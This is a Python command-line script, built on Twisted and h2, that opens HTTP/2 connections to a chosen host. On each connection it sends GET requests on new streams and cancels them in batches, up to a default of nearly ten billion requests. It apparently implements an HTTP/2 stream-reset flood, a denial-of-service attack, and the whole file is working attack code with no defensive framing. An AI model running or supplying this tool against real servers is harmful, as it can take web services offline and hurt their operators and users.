main.py

# -*- coding: utf-8 -*-

from __future__ import print_function

import mimetypes
import os
import sys
import signal

from twisted.internet import reactor, defer
from twisted.internet.endpoints import connectProtocol, SSL4ClientEndpoint
from twisted.internet.protocol import Protocol
from twisted.internet.ssl import optionsForClientTLS
from h2.connection import H2Connection
from h2.events import (
    ChangedSetting,
    ResponseReceived, DataReceived, StreamEnded, StreamReset, WindowUpdated,
    SettingsAcknowledged,
)
import click


AUTHORITY = u'example.com'
PATH = '/'
PORT = 443
CUSTOM_HEADERS = {}
REQUEST_COUNT = 9999999999
MAX_STREAMS = 128
MAX_CON = 1

@click.command()
@click.option('--host', type=str, help='Host URL', required=True)
@click.option('--path', type=str, help='Path on the host', required=True)
@click.option('--headers', type=str, help='Headers (comma-separated)', required=True)
@click.option('--port', type=int, help='Port number', required=True)
@click.option('--requests_count', type=int, help='Number of requests to be sent', required=True)
@click.option('--max_streams', type=int, help='Maximum streams to be opened in parallel', required=True)
@click.option('--parallel_connections', type=int, help='Number of parallel connections to be made with the server. (TCP connection)', required=True)
def init(host, path, headers, port , requests_count , max_streams, parallel_connections):
    global AUTHORITY , PATH, PORT , CUSTOM_HEADERS , REQUEST_COUNT , MAX_STREAMS , MAX_CON
    special_seprator = ';'

    headers_list = headers.split(';')
    click.echo(f"Host: {host}")
    click.echo(f"Path: {path}")
    click.echo(f"Headers: {headers_list}")
    click.echo(f"Port: {port}")
    click.echo(f"Request Count: {requests_count}")
    click.echo(f"Max. Streamx: {max_streams}")




    # You can perform your desired operations with the inputs here

    PORT = port
    AUTHORITY = host
    PATH = path
    REQUEST_COUNT = requests_count
    MAX_STREAMS = max_streams
    MAX_CON = parallel_connections


    headers_list = headers.split(special_seprator)
    for header in headers_list:
        header = header.split(":" , 2)
        CUSTOM_HEADERS[header[0].strip()] = header[1].strip()

    options = optionsForClientTLS(
        hostname=AUTHORITY,
        acceptableProtocols=[b'h2'],
    )
    for i in range(MAX_CON):
        connectProtocol(
            SSL4ClientEndpoint(reactor, AUTHORITY, PORT, options),
            H2Protocol(id=str(i+1))
        )

    reactor.run()





# Function to gracefully shut down the Twisted application
def shutdown():
    print("Shutting down gracefully...")
    reactor.stop()

# Set up a signal handler for Ctrl+C (SIGINT)
signal.signal(signal.SIGINT, lambda signum, frame: shutdown())



class H2Protocol(Protocol):
    def __init__(self , id):
        self.conn = H2Connection()
        self.known_proto = None
        self.request_made = False
        self.request_complete = False

        self.flow_control_deferred = None
        self.fileobj = None
        self.file_size = None
        self.id = id

    def connectionMade(self):
        """
        Called by Twisted when the TCP connection is established. We can start
        sending some data now: we should open with the connection preamble.
        """
        self.conn.initiate_connection()
        self.transport.write(self.conn.data_to_send())

    def dataReceived(self, data):
        """
        Called by Twisted when data is received on the connection.

        We need to check a few things here. Firstly, we want to validate that
        we actually negotiated HTTP/2: if we didn't, we shouldn't proceed!

        Then, we want to pass the data to the protocol stack and check what
        events occurred.
        """
        if not self.known_proto:
            self.known_proto = self.transport.negotiatedProtocol
            assert self.known_proto == b'h2'

        events = self.conn.receive_data(data)

        for event in events:
            # print("event", event)
            if isinstance(event, ResponseReceived):
                pass
                # self.handleResponse(event.headers)
            elif isinstance(event, DataReceived):
                pass
                # self.handleData(event.data)
            elif isinstance(event, StreamEnded):
                pass
                # self.endStream()
            elif isinstance(event, SettingsAcknowledged):
                self.settingsAcked(event)
            elif isinstance(event, StreamReset):
                reactor.stop()
                raise RuntimeError("Stream reset: %d" % event.error_code)
            elif isinstance(event, WindowUpdated):
                self.windowUpdated(event)
            elif isinstance(event , ChangedSetting):
                print("ChangedSetting" , event)

        data = self.conn.data_to_send()
        if data:
            self.transport.write(data)

    def settingsAcked(self, event):
        """
        Called when the remote party ACKs our settings. We send a SETTINGS
        frame as part of the preamble, so if we want to be very polite we can
        wait until the ACK for that frame comes before we start sending our
        request.
        """
        to_be_closed = []
        
        if not self.request_made:
            for i in range(1 , REQUEST_COUNT , 2):
                print(f"Connectin-Id: {self.id} - Last Created Stream: {i+1} - Parallely Opened Streams: {len(to_be_closed)}")
                self.sendRequest(i)
                to_be_closed.append(i)
                if len(to_be_closed) >= MAX_STREAMS:
                    for ii in to_be_closed:
                        self.conn.reset_stream(stream_id=ii , error_code=0x8)
                    to_be_closed = []


    def handleResponse(self, response_headers):
        """
        Handle the response by printing the response headers.
        """
        for name, value in response_headers:
            print("%s: %s" % (name.decode('utf-8'), value.decode('utf-8')))

        print("")

    def handleData(self, data):
        """
        We handle data that's received by just printing it.
        """
        print(data, end='')

    def endStream(self):
        """
        We call this when the stream is cleanly ended by the remote peer. That
        means that the response is complete.

        Because this code only makes a single HTTP/2 request, once we receive
        the complete response we can safely tear the connection down and stop
        the reactor. We do that as cleanly as possible.
        """
        self.request_complete = True
        self.conn.close_connection()
        self.transport.write(self.conn.data_to_send())
        self.transport.loseConnection()

    def windowUpdated(self, event):
        """
        We call this when the flow control window for the connection or the
        stream has been widened. If there's a flow control deferred present
        (that is, if we're blocked behind the flow control), we fire it.
        Otherwise, we do nothing.
        """
        if self.flow_control_deferred is None:
            return

        # Make sure we remove the flow control deferred to avoid firing it
        # more than once.
        flow_control_deferred = self.flow_control_deferred
        self.flow_control_deferred = None
        flow_control_deferred.callback(None)

    def connectionLost(self, reason=None):
        """
        Called by Twisted when the connection is gone. Regardless of whether
        it was clean or not, we want to stop the reactor.
        """
        print("connectionLost")
        if self.fileobj is not None:
            self.fileobj.close()

        if reactor.running:
            reactor.stop()

    def sendRequest(self , stream_id):
        """
        Send the  request.
        """
        # First, we need to work out how large the file is.


        # Next, we want to guess a content-type and content-encoding.

        import string
        import random
        res = ''.join(random.choices(string.ascii_lowercase +
                             string.digits, k=5))
        # Now we can build a header block.
        from random import randint, randrange
        ip_search = randint(10, 254) 
        ip_search = str("%%%%%%")

        
        request_headers = [
            (':method', 'GET'),
            (':authority', AUTHORITY),
            (':scheme', 'https'),
            (':path', PATH ),
        ]

        for custom_header in CUSTOM_HEADERS:
            request_headers.append(  (custom_header, CUSTOM_HEADERS[custom_header]) )
            


        self.conn.send_headers(stream_id, request_headers, end_stream=True)
        # print("stream", stream_id)




if __name__ == '__main__':
    init()